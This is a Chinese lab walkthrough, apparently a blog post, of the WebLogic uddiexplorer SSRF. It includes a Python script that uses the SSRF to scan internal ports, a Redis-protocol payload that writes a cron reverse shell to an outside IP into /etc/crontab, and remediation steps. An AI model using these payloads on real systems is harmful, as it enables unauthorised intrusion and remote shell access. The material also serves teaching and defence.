中间件漏洞 | weblogic-ssrf


靶场:ssrf

介绍

Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,探测内网IP及端口的开放情况,进而攻击内网中redis、fastcgi等脆弱组件。

漏洞版本:weblogic 10.0.2-10.3.6

步骤
攻击流程图

在这里插入图片描述

漏洞验证:利用ssrf探测内网
  1. 访问http://your-ip:7001/uddiexplorer/,无需登录就可以自动跳转到uddiexplorer应用
    在这里插入图片描述
  2. 看表单,找url
    在这里插入图片描述
  3. 抓包,发现有可传入url的参数
    在这里插入图片描述
  4. 探测端口,存在返回404,存在SSRF漏洞
    在这里插入图片描述
  5. 端口不存在
    在这里插入图片描述
  6. 非http协议
    在这里插入图片描述
  7. 通过错误的不同,去探测内网状态,确定哪些IP地址的哪些端口是开放的。
漏洞利用:利用Redis反弹shell
  1. 利用脚本探测内网端口开放情况

    # 环境:python2.7
    
    import thread
    import time
    import re
    import requests
    
    
    def ite_ip(ip):
        for i in range(1, 256):
            final_ip = "{ip}.{i}".format(ip=ip, i=i)
            print(final_ip)
            thread.start_new_thread(scan, (final_ip,))
            time.sleep(3)
    
    
    def scan(final_ip):
        ports = (
            '21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899',
            '8080',
            '7001', '8000', '6389', '6379')
        for port in ports:
            vul_url = 'http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (
                final_ip, port)
        try:
            # print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException', r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print("[!]" + final_ip + ':' + port)
        except Exception, e:
            pass
    
    
    ip = "172.18.0"
    if ip:
        print(ip)
        ite_ip(ip)
    else:
        print ("no ip")
    
  2. 端口开放结果,内网主机172.18.0.2开放了Redis服务器端口
    在这里插入图片描述

  3. 传入http://172.18.0.2:6379证明端口开放
    在这里插入图片描述

  4. Redis未授权访问
    简介

    redis是一个key-value存储系统。它支持存储的value类型:string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。为了保证效率,数据都是缓存在内存中。redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

    原因

    redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上。如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作

  5. 反弹shell

  6. 监听端口
    在这里插入图片描述

  7. Redis命令的理解
    Redis SET 命令

    Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。

    Redis Config Set 命令

    Redis Config Set 命令可以动态地调整 Redis 服务器的配置(configuration)而无须重启

    Redis Save 命令

    Redis Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以 RDB 文件的形式保存到硬盘。

    Redis命令执行特性

    如果Redis命令不是以*开头,那则表明这个命令是 PROTO_REQ_INLINE 类型的命令请求,并不是 RESP 协议请求。这类命令也被称为管道命令,命令和命令之间是使用换行符\r\n(URL编码为%0D%0A)分隔开来。

    命令

    set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/20.210.90.167/8080 0>&1' \n\n\n\n"
    config set dir /etc/
    config set dbfilename crontab
    save
    

    理解

    第一行:设置key为1,value为\n\n\n\n* * * * * root bash -i >& /dev/tcp/20.210.90.167/8080 0>&1\n\n\n\n
    第二行:新建一个目录dir/etc/
    第三行:新建一个文件dbfilenamecrontab
    第四行:将上面数据和命令保存save
    因为原本就有了/etc/crontab(这是个定时文件),因此用config set修改时无需重启。定时文件执行时触发反弹shell。

  8. URL编码
    在这里插入图片描述需要将换行处的%0A手动改为%0D%0A

    test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F20.210.90.167%2F8080%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
    
  9. 发送GET请求
    在这里插入图片描述

  10. 反弹shell成功,getshell
    在这里插入图片描述

修复
  1. 删除uddiexplorer文件夹,限制uddiexplorer应用只能内网访问
    在这里插入图片描述

  2. 将SearchPublicRegistries.jsp直接删除
    在这里插入图片描述

  3. 改后辍,修复步骤如下:
    1. 将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份
    2. 将weblogic安装目录下的server/lib/uddiexplorer.war下载
    3. 用winrar等工具打开uddiexplorer.war
    4. 将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx
    5. 保存后上传回服务端替换原先的uddiexplorer.war
    6. 对于多台主机组成的集群,针对每台主机都要做这样的操作
    7. 由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用–停server–停控制台–启控制台–启server–启应用)

    Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值